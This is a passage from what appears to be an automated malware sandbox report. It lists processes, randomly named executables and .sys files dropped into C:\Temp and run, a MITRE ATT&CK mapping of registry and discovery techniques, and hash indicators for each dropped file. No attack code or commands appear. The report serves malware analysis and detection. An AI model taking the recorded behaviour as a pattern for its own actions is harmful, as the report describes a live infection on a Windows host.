      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6448,i,11301935669662592319,6864461523784582923,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6760,i,9595811988458607830,13096846567896786411,262144 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:10
      4⤵
      PID:4368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5736,i,2640992183140760191,17678821349636041843,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:14
      4⤵
      PID:5864

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1168

C:\Temp\jhbztrmjecwuomge.sys
C:\Temp\jhbztrmjecwuomge.sys
1⤵
- Executes dropped EXE
PID:4144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5080

C:\Temp\rljebwtolj.sys
C:\Temp\rljebwtolj.sys
1⤵
- Executes dropped EXE
PID:2088

C:\Temp\igdywqoiga.sys
C:\Temp\igdywqoiga.sys
1⤵
- Executes dropped EXE
PID:4288

C:\Temp\dyvqolgdbv.sys
C:\Temp\dyvqolgdbv.sys
1⤵
- Executes dropped EXE
PID:2652

C:\Temp\vsnlfdavtn.sys
C:\Temp\vsnlfdavtn.sys
1⤵
- Executes dropped EXE
PID:4780

C:\Temp\nkfdxvpnkf.sys
C:\Temp\nkfdxvpnkf.sys
1⤵
- Executes dropped EXE
PID:3860

C:\Temp\eczxrpmkhc.sys
C:\Temp\eczxrpmkhc.sys
1⤵
- Executes dropped EXE
PID:2356

C:\Temp\fzxrpkhcau.sys
C:\Temp\fzxrpkhcau.sys
1⤵
- Executes dropped EXE
PID:3000

C:\Temp\czurmjhbzt.sys
C:\Temp\czurmjhbzt.sys
1⤵
- Executes dropped EXE
PID:4144

C:\Temp\trljhbztrl.sys
C:\Temp\trljhbztrl.sys
1⤵
- Executes dropped EXE
PID:3396

C:\Temp\gaywqoigey.sys
C:\Temp\gaywqoigey.sys
1⤵
- Executes dropped EXE
PID:4792

C:\Temp\bytqligdyw.sys
C:\Temp\bytqligdyw.sys
1⤵
PID:4524

C:\Temp\aytqlidyvt.sys
C:\Temp\aytqlidyvt.sys
1⤵
PID:3560

C:\Temp\nhfaxsqkic.sys
C:\Temp\nhfaxsqkic.sys
1⤵
PID:5244

C:\Temp\icausmkfcx.sys
C:\Temp\icausmkfcx.sys
1⤵
PID:5180

C:\Temp\ecauspnhfc.sys
C:\Temp\ecauspnhfc.sys
1⤵
PID:904

C:\Temp\hczusmkecw.sys
C:\Temp\hczusmkecw.sys
1⤵
PID:1516

C:\Temp\rljhecwurl.sys
C:\Temp\rljhecwurl.sys
1⤵
PID:2464

C:\Temp\rljgbywtom.sys
C:\Temp\rljgbywtom.sys
1⤵
PID:4820

C:\Temp\tqligbytql.sys
C:\Temp\tqligbytql.sys
1⤵
PID:2856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dyvqolgdbv.sys

Path C:\Temp\dyvqolgdbv.sys
Size 293KB
SHA256 0f7fb987b2f3d8c301adc90c154b049480791f122dfb12b53e272b3fc4cafd8e
MD5 25d385836e70b066b84632acad7edcfe
SHA1 28dfa3bf269e1570e312f17771c80dd22995ac8f
SHA512 6545dfe7a6ee2ab78dd7c5bbd31c3a8451b145d0a4cf124f0a19c65d083d3d5fed69d4ee5cb46146772437badc16804754d60ca87cbae0d642829d81660da0a0
SSDEEP 3072:gtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:gIJjiJcbI03GBc3ucY5DCSj
TLSH
T17C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwurmjecw.exe

Path C:\Temp\ecwurmjecw.exe
Size 361KB
SHA256 755ebddc78dd7537c802af08177466c699a08a0280ff9b56288a5a2245b920af
MD5 4ae4a01355acbfb2737e33b4f423c6fe
SHA1 86db7e3522ca31e0f1d82fe91c6d36b256ec86bf
SHA512 20115998eeacca9f03348c8e0da06d53c9b03133662a75ccc95b4cda4643b209103064c65f43399ca27c49e5e360e6c0e18582a52ca9926cc718570e31b31c84
SSDEEP 6144:oflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:oflfAsiVGjSGecvX
TLSH
T1CC747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gayvqoigdy.exe

Path C:\Temp\gayvqoigdy.exe
Size 361KB
SHA256 4ff2daa714dfb882bd7de21b8bb1253f81f016d83e80ed36680edf81a7c24e1c
MD5 7732a116bd04f0b57b0af9983a55b43e
SHA1 414a73202413a3712450722ed3fb5c176a3ebd5a
SHA512 de44ba010be25407f098f46b5854dc88b3421905043f5391fda12cb68e9d50f7df60f7ecb750de6a13f1e692720cab51e455580d96e5d95156699afc9fdc5ffe
SSDEEP 6144:CflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:CflfAsiVGjSGecvX
TLSH
T15B747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ecwurmjecw.exe

Path C:\Temp\i_ecwurmjecw.exe
Size 361KB
SHA256 e7ec1d597838995952209e9867f4e230c86aaff2a6b1291238ca3f46626a9aa5
MD5 68cefbe3530a7e05bf168258e53e7dce
SHA1 ec1253d5e51d1bb785ff1d4ffe84a6e42ddf09a4
SHA512 c073b2f975c6f0c6a6318659b2fd80fa396815e10eeb232a9800b631ae473d234374209ac24b642789b75a4518f9739a63f495bd1c8851fd431be1fd699c3979
SSDEEP 6144:YflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:YflfAsiVGjSGecvX
TLSH
T111747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_gayvqoigdy.exe

Path C:\Temp\i_gayvqoigdy.exe
Size 361KB
SHA256 bba861a141cba6c8a621734adc899dfd28aa21e1b3849203dbe5843217cf29da
MD5 b7cea3e23410fbc463f23d631ecd62bc
SHA1 ec26a6d55234e5c6026e2373ecc7872340e7552b
SHA512 da5325e89821932730ef030407a077287fc0ea1a7993119c8f0a25b7326bfb4d0e1751c6a6b9186f6c6d37c97e13497b5ed2793bbebcbada5343ea36f1100098
SSDEEP 6144:TflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:TflfAsiVGjSGecvX
TLSH
T149747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jgbytrlgey.exe

Path C:\Temp\i_jgbytrlgey.exe
Size 361KB
SHA256 236ea9b8ed170ecbb742a3bbaab9ae4b49fb791287491ce9e660f2b5df439dcd
MD5 1fa3bd5f754aeb2ade6e9c5c56c51414
SHA1 b840f4f653d52c13db52198c2b76f49f2f9e1e07
SHA512 1a54e4df7c360da8ea4f636c3d3fc5be5171251e107be20005947dfeedf758ec8b2fa0229513ed17139a02fb4ceb015eb5bb2d5cf3e382798a6b761864f5068c
SSDEEP 6144:dflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:dflfAsiVGjSGecvX
TLSH
T13F747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_sqkidavtnl.exe

Path C:\Temp\i_sqkidavtnl.exe
Size 361KB
SHA256 9a4f3d381c2fc3c93e6d1c00d042c8a9e88517bbcb49fc3b44bb262c1f4894d8
MD5 776e6ab0dfcf9c0e3a1d852827dab807
SHA1 879fc9cf5c56b39db8f7befc0121099bf0b3e75f
SHA512 4a45b1ff50c27cdbb0c176780822377f842b7d5a28addfe48288d075387c12dd25e2cffa0e2138a4b5c7eb41c05a88e8bb5718e4b9a62c87ff7b435c83d73b03
SSDEEP 6144:eflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:eflfAsiVGjSGecvX
TLSH
T1C3747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tnlfdxvqni.exe

Path C:\Temp\i_tnlfdxvqni.exe
Size 361KB
SHA256 c582fc60547c1cc805f84c8d99296a8d99d9dbabb615c57143e64322570101f4
MD5 c455d322fac28494688da5ab8a8f04ed
SHA1 7250855080dce6d336b8283c842ad8833e8a652c
SHA512 c19231e5c6855143248e032ca8a292328adf239b7e4a532a2f2f3cd7a89eb364649bcc44c12a57699287444a620c25c7779af32282e61a8ae25eacc54d4bf13e
SSDEEP 6144:2flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:2flfAsiVGjSGecvX
TLSH
T1CA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igdywqoiga.sys

Path C:\Temp\igdywqoiga.sys
Size 293KB
SHA256 0cd96ea81a9c1ea0a8832805bf7b59bc74004fef1b1884eb62ed18dc8027ef6d
MD5 f45977755abd9222065b0ef9162d3b91
SHA1 ffe90f25024ddab6397f41c5b55aff7b7e3f0ee6
SHA512 2150c249ce87ead0e9a95c898a6266aa91eaafd5d1a02af79d5f535aac4ab01cd302855af151053fd8d39f84bd72bee0dccea8f2de62ad824f276eb9fb1997a8
SSDEEP 3072:UtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:UIJjiJcbI03GBc3ucY5DCSj
TLSH
T118545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbytrlgey.exe

Path C:\Temp\jgbytrlgey.exe
Size 361KB
SHA256 f5e21be9ef6589b8400fc9f14397724d28a2866e8ebdf11fcd86df3e039476bb
MD5 5d6e1b8783b3fc7c95774fa953376a18
SHA1 14eaa13cff991030e029f033ee314e898dbf17e9
SHA512 397ca0768384e7715cc588550126500063cb3a84000f367e2b817c783f97484b6c79c0fab4d4c3ce0d3fd640ac46a2ff8cdbc35176bc8b4a3a0902802deda737
SSDEEP 6144:BflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:BflfAsiVGjSGecvX
TLSH
T121747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrmjecwuomge.exe

Path C:\Temp\jhbztrmjecwuomge.exe
Size 361KB
SHA256 a822f3f0401044eb816e97030d99bd71fde43bf0d793e55a885e6e06fbf00d17
MD5 9a0d6d2c6e80bc22444e0f9412468e19
SHA1 d83c5aa6f72257aadd2d1d7583553590780afa30
SHA512 48123276611b6c18da942b4e6fc09f83e550e88fc8176817d6de93ac8a2d6e9aec14a04c79a7c14f613d33a71f5a3b18de6042e0a64f696af0564736e13d1960
SSDEEP 6144:TflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:TflfAsiVGjSGecvX
TLSH
T1AA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrmjecwuomge.sys

Path C:\Temp\jhbztrmjecwuomge.sys
Size 293KB
SHA256 e54e74fe38c9206ab87a48f843e1a3a8133a39651c1e2022da91bdbc390b8f45
MD5 d88451affaee6f0d5c948940a4dc1f82
SHA1 41f6e94b13cbc682bbf3fb26cb0a56cca69318cf
SHA512 294bd6e618c62690f1c18b3d9e4252c22acf962a861b6c8a05c0480292756dac111beb953f80f28003acb596b0172950c9a950b02d19e730e9f34d524ebc06c9
SSDEEP 3072:itKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:iIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kicxvpnhfa.exe

Path C:\Temp\kicxvpnhfa.exe
Size 361KB
SHA256 208d8d7571931241ac776003df267907855e957b3611df6bf552cafa6035dc63
MD5 47949142652b329213ef2d76e4a45b5b
SHA1 05b808c421b02b7773c4b80b14e5d743c75fdcf8
SHA512 e85cb2fbf38bc8ce5d1299e0dfc4cca381465e2e7ba812ee40e2deace930f7dda80ee272e76cd6553fdecf5e82b5771ef252eecc97235b251d798e468ccef8da
SSDEEP 6144:hflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:hflfAsiVGjSGecvX
TLSH
T11D747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkfdxvpnkf.sys

Path C:\Temp\nkfdxvpnkf.sys
Size 293KB
SHA256 f6a2a818565d96e6a047cf8650da9bd6c551d8224176d6586cfde737efe1f76a
MD5 56f446c5b17c8c225f15f3bd803870d5
SHA1 26436aab613afa9ff1f02a96ed64d26c4a557251
SHA512 a800ad8d603a25bc137c48255bbb3853a17af4288a9e93181dcaf0a9ab36632dd6aa40798eec0d6b9f3496cedf01c49789374a0b5f50647504805ec01581af03
SSDEEP 3072:ttKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:tIJjiJcbI03GBc3ucY5DCSj
TLSH
T1CD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljebwtolj.sys

Path C:\Temp\rljebwtolj.sys
Size 293KB
SHA256 a2707f561949931470245e9bfe0b6d41861745d279440875f99f0e906efe4cb5
MD5 4094060120440b8cc1e96ac7f6923468
SHA1 588630fb7115add278cbf895b1f4a27e5d2baa74
SHA512 9e30d2ad34471e41b31d78d4d2f06bba9d2f7475a3a475bde31e4d74dcdfcd99339c519cd5a372945c5a2974419ce258580998d126beb6005706defeef790ef2
SSDEEP 3072:ytKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:yIJjiJcbI03GBc3ucY5DCSj
TLSH
T151545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkidavtnl.exe

Path C:\Temp\sqkidavtnl.exe
Size 361KB
SHA256 e3cfde7df70c2b476a2884d4c442528c615b30f5c08fbcd5e45b58cf9ff63ed3
MD5 271475a9ab5dadecf35f10cf058d1902
SHA1 2fbe14a06d4cb3b2187d07a4d0be9a4435457c52
SHA512 752dd81cfd9449f4e90daaea958a87e219aeee94773f83a412370a77f80c85851175d3f981b795db4557c965fa3f26c4140fa5ec4019c4aac0fbdcd5dc09b9e8
SSDEEP 6144:wflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:wflfAsiVGjSGecvX
TLSH
T1CA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlfdxvqni.exe

Path C:\Temp\tnlfdxvqni.exe
Size 361KB
SHA256 c21ec30c1a07520ec7c491e658d74049ffd8326af403db530dc66c558e1fa838
MD5 665a60c02b8423c78f37880008b4ea4c
SHA1 b77d67954df8b6bc89af7be5280c5e4a1a4ca819
SHA512 a62929e440c8f9457134be5332dc7b7457592ed339d6fee4a740ecc2402834950fafe458769679e924eafe9bec3f59859eac0ae12056557c040a6996291526c1
SSDEEP 6144:tflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:tflfAsiVGjSGecvX
TLSH
T12A747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsnlfdavtn.sys

Path C:\Temp\vsnlfdavtn.sys
Size 293KB
SHA256 5378e871d98beb2f91c35ef213762a7aa4b00f7fafe41b2a7b94d52c04cc6b24
MD5 3ccc0bfc7680ddcbf8b18eb4f11243f3
SHA1 a30e272c3efda590ac6ba5f15287e26294b92ef5
SHA512 2914ac0466703c2e2670418cdb57886e30fa0edf80dafa83dcd3a18eb22fdf50751b0fe5e81733666d5d2a4463df0507e45e732bb5768fa2a2e128abd3c59c4f
SSDEEP 3072:2tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:2IJjiJcbI03GBc3ucY5DCSj
TLSH
T120545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

7841b9a3-e83d-4d06-9058-5065d0d74cfa.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7841b9a3-e83d-4d06-9058-5065d0d74cfa.tmp
Size 11KB
SHA256 61028850d30da8ad0ffe8b8619e01c1995e3180fc923bf80adf1f2da77ae51b0
MD5 1c90bc55b9d0586fe1041280094e8a71
SHA1 71d62d6363d2ce0f3ce93bd8a02a0148a7d5a8e3
SHA512 1259dc75cd1d60b55b501dd6f6d6422c07b103f36b6ad01097124e96ccd11745c534328c0c3d5fc865c6a8691dce443949c50e3fa256495247187e2ad8fd403e
SSDEEP 192:sxRbrCU/f2s1AfmZgxzoA8pi/g6+WNIYnY3hxGERkIgtJ:sxRbeU/f2sGfQgsi/5I5RU3
TLSH
T100329516AD68A93B5CCBD219BB597F53D6F95132A1D42E08E6FC860C04EB6DD120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 dc2c3ff411ec7494b7b7d89361bd4d60460ef4abd25a48490838dafbc5c3d09b
MD5 dfdbb9557259d3a499a7a6e6861f16d9
SHA1 87809e8b16b9d48d1443c624874b6a781af40cd7
SHA512 f31e37e0b98981d5b3ab56426c665a1490dbdeb8df418b1730d90a59d6e71fdda562841f60f87323e956db93a062c73088d268622c3b1012f68312b42900a780
TLSH
T19761C86403222AE0E3E8487671E577043AFC9C651567EE1C836CFD786C12F9CE5E902B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59990a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59990a.TMP
Size 3KB
SHA256 a11fabf8c6195e85cb18c0050ca9eea06beff0c7093ca16758ee08593d80adca
MD5 7550e259e70d16a131fbf21e847801dd
SHA1 6efcc15480841c4bd4dc196dd97f74cd42065d5c
SHA512 f4923e34fd4c048ec15b369f992b5890e823139ae92e343897b3b94d7b28b0768cde035384620b156396150f6b1d671dc0136511981f67c5390e07f9590c5297
TLSH
T16E61C86413222AE0E3A8487671E577043AFCD8650567AE0C436CFD786C12F9CE5E902B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 b889a8950c5c8e55a3ae9b179bd6adc75ecbe306ef8471e2b9f2c8ffda5303d2
MD5 7c8a5db5ed9d2645696458cc3f2c60ea
SHA1 a4d56cacbe923c42b16c7d71c72be4866cfcc5ae
SHA512 3c1a9fe2c262ca6bdf51b52f5509390f024126b0f70803c2c511983fb88c5320bbcb9a98399a8ed90e66a5a00fb7479bd52257fc6a17554b80e092b6f64912e1
TLSH
T15D41EDF3C2E9966D890156F0AA187E1BCE1D0914832C3C1AC8E4AF5BD3E2471E101A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 faf017cf347f75d8d326ed0c780104ba75bda58d392ba8d6b4ccfa82e13b27fb
MD5 0dbf8f01a0951c53086c6cf62dc7ca22
SHA1 93f1b6694f9bf9367636ce6c033fb67af2fb3273
SHA512 c1cdd73923923984f2cc85b2118fefb127366f9f8ee34b8d6dc4cd2defbbe11cf34fe18fe0be43d2581b8227af079aa8dff51a10b3154164918160967eefb5d7
SSDEEP 192:sxRkrCU/f2sMAfmZg5zoA8p9G/g6+WNCyp/Yng3hxGERkIgDBJ:sxRkeU/f2spfQgE8/59/1RUX
TLSH
T17C32A616AD28AD3B5CCBD219BA59BF53D6FD5032A1D11E08A7FC8B0C14EB6DD120784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 1871c196da4a7be221ec9435e6e8a58f401b2b4b840377e0bbeea55830264263
MD5 eaf8d85e52be9ee607c4cdab49608f9d
SHA1 a7d06957399455c8f49f2bfeb5cb845eb83926fe
SHA512 581493a6c15ff819f3de96f88384dce52f020e4fa6508667ad32b19a0d9514ee164e9e790b47fbbd76615a1fe405ce4a0af54e21428e26e927a81dfffc7f1c6f
SSDEEP 192:sxRkrCU/f2sMAbmZg5zoA8p9G/g6+WNCyp/YngqfhxGERkIgDzJ:sxRkeU/f2spbQgE8/59/1YUx
TLSH
T1F242A616AD286D3B5CCBD219BA59BF53E6F95032A1D11E08A7FCCB0C14EB6DD120784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 ad70295f1b410caf3014d5f4cbf4bcd6035c6c98dbbe1d6e4217ec2154da2042
MD5 35e0af37bfbe2b9a735772f8aea1ff2d
SHA1 46e2604443f0940c6641259396cb4a1d72ec40e4
SHA512 6a7622e01daa35b9818cb4afe26e9f5554181aafb6f858b8267a46831abd752b4ca628413c9b443558af5930d453e4aa0cec543861f58399cf08f1cb2ed941bd
SSDEEP 768:wb8dpg7pLuL7r6Wgouf6M8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6Nmu46IrohEv5B:wb8dpsE7r6Wgouf6Mu1jalNmV6zaP
TLSH
T15BD2EA7B740CCB7E4F800ADDEC19BE9F6DA802CB96D8CD4447FA951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8f62885ed21b461631dd2e65ff365fadaf0432993cc1976c80c8bdefa84fc04d
MD5 167c95bf4eece7a00b4cee0da9787cf4
SHA1 a92c405aa9debe11c28c61f0cfc843b2e0c6f18f
SHA512 fffe2660049ddccfbf502bb8e3d94976393b2d75bad16c2253a3e77e486b5b2a91463d8827af0b8b9944c450c387e1e4628cc636cebd5114df9129c75c9a567b
SSDEEP 768:6rv+4UNbds3pUDZIO0WuNzc4ReyIsX+eVH1S5D:6bsbS3Qutc44bsOEH1Y
TLSH
T1DC03CE32AC788A77ACF66685B54B76533EF8912B82D81E94C5DE6F0C064B1DD130F923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 a0dad1f9181b8265fbc5c8cdb1a8ebc742aafa03687f5ca81558bd2dd6e1ec08
MD5 8343daf9ce8afa9d686f8a7f9b279100
SHA1 3edff989ba34cf5ad97ef381ac7f8851450a2b71
SHA512 15d10b3dc36118498b4a787ef8f2d9dace0f72b29f8a2a9b33e9437e5b1fae30a12ce9cfe2bc9e5816c3d107c78d75c35f8865139622f4b76744603ea56b9130
SSDEEP 768:Brv+4UNbdM3w6DZIO0WzXNzc4ReyIsPqSMUa:BbsbW3xTtc44bsCSMl
TLSH
